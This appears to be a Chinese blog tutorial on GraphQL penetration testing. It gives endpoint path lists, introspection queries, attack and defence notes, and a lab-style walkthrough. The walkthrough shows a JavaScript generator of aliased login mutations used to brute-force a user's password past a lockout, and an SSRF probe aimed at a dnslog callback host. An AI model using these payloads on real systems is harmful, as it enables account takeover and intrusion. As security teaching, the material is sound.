当前位置: 首页 > news >正文

GraphQL渗透测试案例及防御办法

什么是GraphQL

GraphQL 是一种 API 查询语言,旨在促进客户端和服务器之间的高效通信。它使用户能够准确指定他们在响应中所需的数据,从而有助于避免有时使用 REST API 看到的大型响应对象和多个调用。

GraphQL 服务定义了一个合约,客户端可以通过该合约与服务器进行通信。客户端不需要知道数据驻留的位置。相反,客户端将查询发送到 GraphQL 服务器,该服务器从相关位置获取数据。由于 GraphQL 与平台无关,因此它可以使用多种编程语言实现,并且可用于与几乎任何数据存储进行通信。

由于技术原因,越来越多的公司使用 GraphQL 并将其后端切换到这个新系统,同时,随着查询变得更加复杂,也出现了一些安全问题:信息泄露、业务逻辑错误、IDOR 和不当访问控制等等漏洞。

工作原理

GraphQL 模式定义服务数据的结构,列出可用的对象(称为类型)、字段和关系。

GraphQL 模式描述的数据可以使用三种类型的操作进行操作:

  • 查询提取数据(Queries fetch data)
  • 突变添加、更改或删除数据。(Mutations add, change, or remove data)
  • 订阅类似于查询,但设置了一个永久连接,服务器可以通过该连接以指定格式主动将数据推送到客户端。

所有 GraphQL 操作都使用相同的端点,并且通常作为 POST 请求发送。这与 REST API 有很大不同,后者跨一系列 HTTP 方法使用特定于操作的终结点。使用 GraphQL,操作的类型和名称定义查询的处理方式,而不是发送到的端点或使用的 HTTP 方法。

GraphQL 允许客户端在一个请求中明确地指定需要的数据,并返回预期的结果,而不是像 RESTful API那样只能获取预定义的资源。因此,GraphQL 简化了客户端与服务器之间的通信,提高了应用程序的性能和可扩展性。 与传统的 RESTfulAPI 不同,GraphQL通过将数据查询和数据修改分离开来,使得客户端能够更灵活地控制所需数据的粒度和类型,并且在多个资源之间建立关系。这样,客户端就可以很容易地实现高效的数据获取和更新,而无需为每个特定的用例编写特定的API。

GraphQL查询

我们根据前文已经得知,GraphQL是一种用于API的查询语言,它支持很多种查询方式:
• Query:常用的一种查询方式,使用Query可以指定需要返回的字段以及过滤条件。

query {user(id: 1) {nameemail}
}

• Mutation:用于在服务端修改或添加数据,类似于RESTful API的POST、PUT和DELETE方法。支持向服务端提交一些参数,并根据参数来执行相应的操作。

mutation {updateUser(id: 1, name: "NewName") {idnameemail}
}

将id位1的用户名字改为NewName

• Subscription:高级特性,允许客户端通过WebSocket连接实时接收来自服务器的数据更新。例如,在线聊天,股票实时报价等。

以下Subscription会订阅一个名为newMessage的频道,并在有新消息时返回消息内容:

subscription {newMessage(channel: "chat") {contentauthor}
}

• Input
• Enum
• Union
• Interface
• ······

GraphQL渗透测试方法和流程

  1. 了解GraphQL架构:首先,您需要了解目标应用程序的GraphQL架构。查找和分析GraphQL模式(Schema)以及相关的查询、突变(Mutations)和订阅(Subscriptions)操作。

  2. 枚举GraphQL端点:确定GraphQL API的端点URL。通常,GraphQL端点位于应用程序的特定路径下,例如/graphql/api/graphql。您可以使用这个URL来发出GraphQL查询。

  3. 枚举GraphQL模式:通过查询GraphQL模式,您可以了解可用的类型(Types)和字段(Fields),以及它们之间的关系。这有助于您构建有效的查询和利用可能的漏洞。

  4. 执行基本查询:开始进行基本查询,以获取有关数据的信息。使用GraphQL查询语法构建简单的查询,并观察响应中返回的数据。这有助于您理解应用程序的数据模型和交互方式。

  5. 注入攻击:在构建查询时,尝试使用一些特殊的输入来测试是否存在注入漏洞。例如,尝试通过注入恶意的查询参数来获取未经授权的数据访问或执行未经授权的操作。

  6. 枚举和利用敏感信息泄露:通过构建查询,尝试获取敏感信息,如用户凭据、API密钥或其他敏感数据。如果应用程序没有正确保护这些数据,可能会导致信息泄露漏洞。

  7. 突变和订阅操作:测试应用程序中的突变和订阅操作,确保它们受到适当的身份验证和授权限制。尝试执行未经授权的突变或订阅,或者尝试绕过访问控制策略。

  8. 深度遍历和枚举:对GraphQL模式进行深度遍历,并尝试枚举应用程序中的所有类型和字段。这有助于发现隐藏的或不常用的功能,并找到可能存在的安全问题。

  9. 检测和利用错误处理:通过故意引发错误来测试应用程序的错误处理机制。观察错误消息和堆栈跟踪,尝试从中获取有关应用程序的敏感信息。

  10. 检查安全配置:检查GraphQL服务器的配置和安全设置。确保启用了适当的身份验证和授权机制,并防止常见的安全配置错误。

请注意,这些步骤只是一般的指导,具体的GraphQL渗透测试方法和流程可能因应用程序的特定情况而有所不同。在执行渗透测试之前,请确保您已经获得合法的授权,并遵守适用的法律和伦理规范。

常见的GraphQL路径

/graphql
/graphql-console
/graphql-devtools
/graphql-explorer
/graphql-playground
/graphql-playground-html
/graphql.php
/graphql/console
/graphql/graphql
/graphql/graphql-playground
/graphql/schema.json
/graphql/schema.xml
/graphql/schema.yaml
/graphql/v1
/HyperGraphQL
/je/graphql
/laravel-graphql-playground
/lol/graphql
/portal-graphql
/v1/api/graphql
/v1/graphql
/v1/graphql-explorer
/v1/graphql.php
/v1/graphql/console
/v1/graphql/schema.json
/v1/graphql/schema.xml
/v1/graphql/schema.yaml
/v2/api/graphql
/v2/graphql
/v2/graphql-explorer
/v2/graphql.php
/graph
/graphql/console/
/graphiql
/graphiql.php

内省攻击

内省攻击是一种针对GraphQL API的攻击方法,利用了GraphQL的内省能力。GraphQL的内省(introspection)是指通过特定的查询来获取有关GraphQL模式的信息,包括可用的类型、字段、关系等。攻击者可以利用内省功能来了解目标GraphQL API的结构,从而更好地进行后续攻击。

以下是一些常见的内省攻击方法:

  1. 模式泄露:通过发送特定的内省查询(通常是__schema查询)来获取GraphQL模式的详细信息。攻击者可以利用这些信息来了解API的结构、类型和字段,甚至可能发现隐藏或敏感的功能。

  2. 类型混淆:攻击者可以通过查询和分析GraphQL模式来发现可能存在的类型混淆漏洞。类型混淆是指在GraphQL模式中存在多个具有相同名称但不同定义的类型,可能导致意外的数据访问或安全问题。

  3. 字段枚举:通过查询GraphQL模式,攻击者可以枚举目标API中的所有字段和关联关系。这些字段和关联关系的信息可以帮助攻击者了解数据模型、关系和功能,并进行后续攻击。

  4. 查询分析:攻击者可以通过发送大量的查询来分析GraphQL API的性能和复杂性。这可以帮助攻击者发现潜在的性能问题、资源消耗过高的查询以及可能的漏洞。

  5. 敏感信息泄露:通过分析GraphQL模式和执行查询,攻击者可以尝试获取敏感信息,如用户凭据、API密钥、数据库结构等。如果API没有正确保护这些信息,可能会导致信息泄露漏洞。

探索内省

可以使用以下简单查询来探测内省。如果启用了自检,响应将返回所有可用查询的名称。

{"query": "{__schema{queryType{name}}}"
}

如下三段GraphQL 查询语句本质上是相同的,都是用于获取 GraphQL Schema 的元数据信息。它们的区别在于格式和编写方式:

{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
{"query":"query Query {\n    __schema {\n      queryType { name }\n      mutationType { name }\n      subscriptionType { name }\n      types {\n        ...FullType\n      }\n      directives {\n        name\n        description\n        locations\n        args {\n          ...InputValue\n        }\n      }\n    }\n  }\n\n  fragment FullType on __Type {\n    kind\n    name\n    description\n    fields(includeDeprecated: true) {\n      name\n      description\n      args {\n        ...InputValue\n      }\n      type {\n        ...TypeRef\n      }\n      isDeprecated\n      deprecationReason\n    }\n    inputFields {\n      ...InputValue\n    }\n    interfaces {\n      ...TypeRef\n    }\n    enumValues(includeDeprecated: true) {\n      name\n      description\n      isDeprecated\n      deprecationReason\n    }\n    possibleTypes {\n      ...TypeRef\n    }\n  }\n\n  fragment InputValue on __InputValue {\n    name\n    description\n    type { ...TypeRef }\n    defaultValue\n  }\n\n  fragment TypeRef on __Type {\n    kind\n    name\n    ofType {\n      kind\n      name\n      ofType {\n        kind\n        name\n        ofType {\n          kind\n          name\n          ofType {\n            kind\n            name\n            ofType {\n              kind\n              name\n              ofType {\n                kind\n                name\n                ofType {\n                  kind\n                  name\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }"}

为了防止内省攻击,可以采取以下措施:

  1. 限制内省功能:在GraphQL服务器的配置中,可以禁用或限制内省功能,以防止攻击者获取敏感信息。

  2. 访问控制和授权:确保GraphQL API实施适当的访问控制和授权机制,以限制对敏感数据和操作的访问。

  3. 输入验证和过滤:对于接收到的GraphQL查询,进行严格的输入验证和过滤,以防止注入攻击和其他恶意操作。

  4. 加密通信:使用HTTPS等安全协议来保护GraphQL通信,防止中间人攻击和信息泄露。

  5. 定期更新和监测:保持GraphQL服务器和相关库的更新,并定期监测潜在的漏洞和安全问题。

绕过 GraphQL 内省防御

以下是一些可能被攻击者尝试的绕过GraphQL内省防御的方法:

  1. 枚举可用的GraphQL端点:尝试通过不同的路径和URL来发现GraphQL端点。有时,开发人员可能会将GraphQL端点放在非标准位置,攻击者可以通过枚举和扫描来发现这些端点。
  2. 使用弱或默认配置:某些GraphQL服务器可能使用弱或默认的配置,未正确地限制内省功能。攻击者可以尝试查找这些服务器,并利用它们的配置不当来执行内省操作。
  3. 绕过访问控制:如果目标应用程序没有正确实施访问控制和授权机制,攻击者可能通过伪造身份验证令牌、修改请求头或直接访问GraphQL端点来绕过内省防御。
  4. 欺骗服务器:攻击者可能尝试修改GraphQL请求中的头部、参数或有效负载,以欺骗服务器绕过内省防御。这可能包括尝试使用特殊的查询参数、变量或操作来触发内省功能。
  5. 模式推断:攻击者可以尝试通过分析应用程序的行为和响应来推断GraphQL模式的一些信息。这可能包括观察响应中返回的错误消息、字段的存在与否以及查询的性能差异等。

防御办法:
1、启用适当的访问控制和授权机制,确保只有经过身份验证和授权的用户可以访问敏感数据和操作。

2、限制内省功能的可用性,仅允许授权用户或角色进行内省查询。

3、对输入进行严格的验证和过滤,以防止注入攻击和恶意操作。

4、 定期更新和监测GraphQL服务器和相关库,以确保及时修补潜在的漏洞和安全问题。

实际案例(博客登录爆破绕过api限制)

分析目标站

大概浏览内容

在这里插入图片描述
是一个可以查看内容的博客站。

在这里插入图片描述
存在登录功能。

发现疑点

查看burp数据包发现是利用了GraphQL的加载模式:
在这里插入图片描述

开始测试

修改POST请求数据为

{"query": "{__schema{queryType{name}}}"
}

在这里插入图片描述
可以 看到这里获取了根内容query

构造内容查询内部所有参数:

{"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue }  } } }fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}

获取到所有参数:

在这里插入图片描述
将内容发送到可视化burp插件:
在这里插入图片描述
未发现利用的东西。

寻找其他测试点

在这里插入图片描述
5次登录失败,锁定1分钟

突破限制

重新抓包:
在这里插入图片描述

尝试修改api绕过:
在这里插入图片描述
通过此方法可以请求2次,突破了api限制。

指定用户名为carlos

这里也是利用别人生成的密码:

copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {tokensuccess}
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");

复制到浏览器执行:
在这里插入图片描述
复制到POST请求数据,放包:
在这里插入图片描述

找到true即可是账号密码。
在这里插入图片描述
登陆成功。

另作尝试(SSRF)

看到下边的操作,可以试试是否存在ssrf漏洞:
在这里插入图片描述
修改POST请求数据:

{
"query":"\n    query getBlogPost($id: Int!) {\n        getBlogPost(id: $id) {\n            image\n            title\n            author\n            date\n            paragraphs\n        }\n    }",
"operationName":"getBlogPost",
"variables":{
"host":"nc0dxz.dnslog.cn","port":80,"path":"/","scheme":"http"}
}

尝试未果:
在这里插入图片描述
<若有新的点,后续补充>

相关文章:

GraphQL渗透测试案例及防御办法

什么是GraphQL GraphQL 是一种 API 查询语言&#xff0c;旨在促进客户端和服务器之间的高效通信。它使用户能够准确指定他们在响应中所需的数据&#xff0c;从而有助于避免有时使用 REST API 看到的大型响应对象和多个调用。 GraphQL 服务定义了一个合约&#xff0c;客户端可…...

Hive SQL 优化大全(参数配置、语法优化)

文章目录 参数配置优化yarn-site.xml 配置文件优化mapred-site.xml 配置文件优化 分组聚合优化 —— Map-Side优化参数解析优化案例 服务器环境说明 机器名称内网IP内存CPU承载服务master192.168.10.1084NodeManager、DataNode、NameNode、JobHistoryServer、Hive、HiveServer…...

go锁-waitgroup

如果被等待的协程没了&#xff0c;直接返回 否则&#xff0c;waiter加一&#xff0c;陷入sema add counter 被等待协程没做完&#xff0c;或者没人在等待&#xff0c;返回 被等待协程都做完&#xff0c;且有人在等待&#xff0c;唤醒所有sema中的协程 WaitGroup实现了一组协程…...

访问0xdddddddd内存地址引发软件崩溃的问题排查

目录 1、问题描述 2、访问空指针或者野指针 3、常见的异常值 4、0xdddddddd内存访问违例问题分析与排查 5、关于0xcdcdcdcd和0xfeeefeee异常值的排查案例 6、最后 VC常用功能开发汇总&#xff08;专栏文章列表&#xff0c;欢迎订阅&#xff0c;持续更新...&#xff09;ht…...

Java从入门到精通-流程控制(一)

流程控制 1.复合语句 复合语句&#xff0c;也称为代码块&#xff0c;是一组Java语句&#xff0c;用大括号 {} 括起来&#xff0c;它们可以被视为单个语句。复合语句通常用于以下情况&#xff1a; - 在控制结构&#xff08;如条件语句和循环&#xff09;中包含多个语句。 - …...

MybatisPlus(2)

前言&#x1f36d; ❤️❤️❤️SSM专栏更新中&#xff0c;各位大佬觉得写得不错&#xff0c;支持一下&#xff0c;感谢了&#xff01;❤️❤️❤️ Spring Spring MVC MyBatis_冷兮雪的博客-CSDN博客 上篇我们简单介绍了MybatisPlus的方便之处&#xff0c;这篇来深入了解Myb…...

iOS UITableView上拉加载解决偶然跳动的Bug

最近做项目,测试测出来一个Bug,列表添加了上拉刷新和下拉加载,当我弹窗消失时,调用刷新列表后,在某个手机型号上,偶发列表刷新跳动的bug。(一般在列表上拉加载刷新到最后一页后,再弹窗消失,reload列表,会出现此bug) Bug复现如下:RPReplay_Final1693296737 解决方案…...

MySQL 外键使用详解

1、MySQL 外键约束语法 MySQL 支持外键&#xff0c;允许在表之间进行相关数据的交叉引用&#xff0c;并有助于保持相关数据的一致性。 一个外键关系涉及到一个父表&#xff0c;该父表保存初始列值&#xff0c;和一个子表&#xff0c;子表的列值引用父表的列值。外键约束定义在…...

MongoDB实验——在MongoDB集合中查找文档

在MongoDB集合中查找文档 一、实验目的二、实验原理三、实验步骤1.启动MongoDB数据库、启动MongoDB Shell客户端2.数据准备-->person.json3.指定返回的键4 .包含或不包含 i n 或 in 或 in或nin、$elemMatch&#xff08;匹配数组&#xff09;5.OR 查询 $or6.Null、$exists7.…...

事务的总结

数据库事务 数据库事务是一个被视为单一的工作单元的操作序列。这些操作应该要么完整地执行&#xff0c;要么完全不执行。事务管理是一个重要组成部分&#xff0c;RDBMS 面向企业应用程序&#xff0c;以确保数据完整性和一致性。事务的概念可以描述为具有以下四个关键属性描述…...

[ROS]yolov5-7.0部署ROS

YOLOv5是一种目标检测算法&#xff0c;它是YOLO&#xff08;You Only Look Once&#xff09;系列算法的最新版本。与其它目标检测算法相比&#xff0c;YOLOv5在速度和准确性方面取得了显著的提升。在ROS&#xff08;Robot Operating System&#xff09;中使用Python部署YOLOv5可…...

Java抽象方法、抽象类和接口——第七讲

前言 上一讲,我们深入了解面向对象,介绍了面向对象有三个特征——封装、继承、多态,以及介绍方法的重载和重写,这些都是开发中很常用的特征,基本都尊重面向对象思想。再上一讲我们了解到了继承的时候,子类要重新写父类的方法,才能遵循子类的规则,那么忘记重写怎么办呢?…...

kafka集群之kraft模式

一、概要 Kafka作为一种高吞吐量的分布式发布订阅消息系统&#xff0c;在消息应用中广泛使用&#xff0c;尤其在需要实时数据处理和应用程序活动跟踪的场景&#xff0c;kafka已成为首选服务&#xff1b;在Kafka2.8之前&#xff0c;Kafka强依赖zookeeper来来负责集群元数据的管理…...

虹科案例 | 缆索挖掘机维护—小传感器,大作用!

一、 应用背景 缆索挖掘机 缆索挖掘机的特点是具有坚固的部件&#xff0c;如上部结构、回转环和底盘。底盘是用于移动挖掘机的下部机械部件&#xff0c;根据尺寸和型号的不同&#xff0c;由轮子或履带引导&#xff0c;并承载可转动的上部车厢。回转环连接上部和下部机器部件&am…...

Windows安装FFmpeg说明

下载地址 官网 Download FFmpeg Csdn ffmpeg安装包&#xff0c;ffmpeg-2023-08-28-git-b5273c619d-full-build.7z资源-CSDN文库 解压安装&#xff0c;添加环境变量 命令行输入ffmpeg 安装成功...

电子电路原理题目整理(1)

电子电路原理题目整理&#xff08;1&#xff09; 最近在学习《电子电路原理》&#xff0c;记录一下书后面试题目&#xff0c;答案为个人总结&#xff0c;欢迎讨论。 1.电压源和电流源的区别&#xff1f; 电压源在不同的负载电阻下可提供恒定的负载电压&#xff0c;而电流源对于…...

iPhone 15预售:获取关键信息

既然苹果公司将于9月12日正式举办iPhone 15发布会,我们了解所有新机型只是时间问题。如果你是苹果的狂热粉丝,或者只是一个早期用户,那么活动结束后,你会想把所有的注意力都集中在iPhone 15的预购上——这样你就可以保证自己在发布日会有一款机型。 有很多理由对今年的iPh…...

Kind创建本地环境安装Ingress

目录 1.K8s什么要使用Ingress 2.在本地K8s集群安装Nginx Ingress controller 2.1.使用Kind创建本地集群 2.1.1.创建kind配置文件 2.1.2.执行创建命令 2.2.找到和当前k8s版本匹配的Ingress版本 2.2.1.查看当前的K8s版本 2.2.2.在官网中找到对应的合适版本 2.3.按照版本安…...

MySQL与Oracle数据库通过系统命令导出导入

MySQL导出 mysqldump -uroot -ppassword 库名 表名 --where"s_dtend<2023-05-01 00:00:00 and s_dtend>2023-01-01 00:00:00 and (i_mbr!10000 OR (i_mbr 10000 AND I_ACTV IN (SELECT I_ACTV FROM t_mk_activity WHERE S_DTEND < 2023-05-01 00:00:00)))"…...

从零学算法(剑指 Offer 36)

123.输入一棵二叉搜索树&#xff0c;将该二叉搜索树转换成一个排序的循环双向链表。要求不能创建任何新的节点&#xff0c;只能调整树中节点指针的指向。 为了让您更好地理解问题&#xff0c;以下面的二叉搜索树为例&#xff1a; 我们希望将这个二叉搜索树转化为双向循环链表。…...

基于uniapp+WebSocket实现聊天对话、消息监听、消息推送、聊天室等功能,多端兼容

基于 ​UniApp + WebSocket​实现多端兼容的实时通讯系统,涵盖WebSocket连接建立、消息收发机制、多端兼容性配置、消息实时监听等功能,适配​微信小程序、H5、Android、iOS等终端 目录 技术选型分析WebSocket协议优势UniApp跨平台特性WebSocket 基础实现连接管理消息收发连接…...

前端开发面试题总结-JavaScript篇(一)

文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包&#xff08;Closure&#xff09;&#xff1f;闭包有什么应用场景和潜在问题&#xff1f;2.解释 JavaScript 的作用域链&#xff08;Scope Chain&#xff09; 二、原型与继承3.原型链是什么&#xff1f;如何实现继承&a…...

聊一聊接口测试的意义有哪些?

目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开&#xff0c;首…...

Python ROS2【机器人中间件框架】 简介

销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...

保姆级教程:在无网络无显卡的Windows电脑的vscode本地部署deepseek

文章目录 1 前言2 部署流程2.1 准备工作2.2 Ollama2.2.1 使用有网络的电脑下载Ollama2.2.2 安装Ollama&#xff08;有网络的电脑&#xff09;2.2.3 安装Ollama&#xff08;无网络的电脑&#xff09;2.2.4 安装验证2.2.5 修改大模型安装位置2.2.6 下载Deepseek模型 2.3 将deepse…...

人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式

今天是关于AI如何在教学中增强学生的学习体验&#xff0c;我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育&#xff0c;这并非炒作&#xff0c;而是已经发生的巨大变革。教育机构和教育者不能忽视它&#xff0c;试图简单地禁止学生使…...

20个超级好用的 CSS 动画库

分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码&#xff0c;而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库&#xff0c;可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画&#xff0c;可以包含在你的网页或应用项目中。 3.An…...

Go 并发编程基础:通道(Channel)的使用

在 Go 中&#xff0c;Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式&#xff0c;用于在多个 Goroutine 之间传递数据&#xff0c;从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...

Linux nano命令的基本使用

参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时&#xff0c;显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...

comfyui 工作流中 图生视频 如何增加视频的长度到5秒

comfyUI 工作流怎么可以生成更长的视频。除了硬件显存要求之外还有别的方法吗&#xff1f; 在ComfyUI中实现图生视频并延长到5秒&#xff0c;需要结合多个扩展和技巧。以下是完整解决方案&#xff1a; 核心工作流配置&#xff08;24fps下5秒120帧&#xff09; #mermaid-svg-yP…...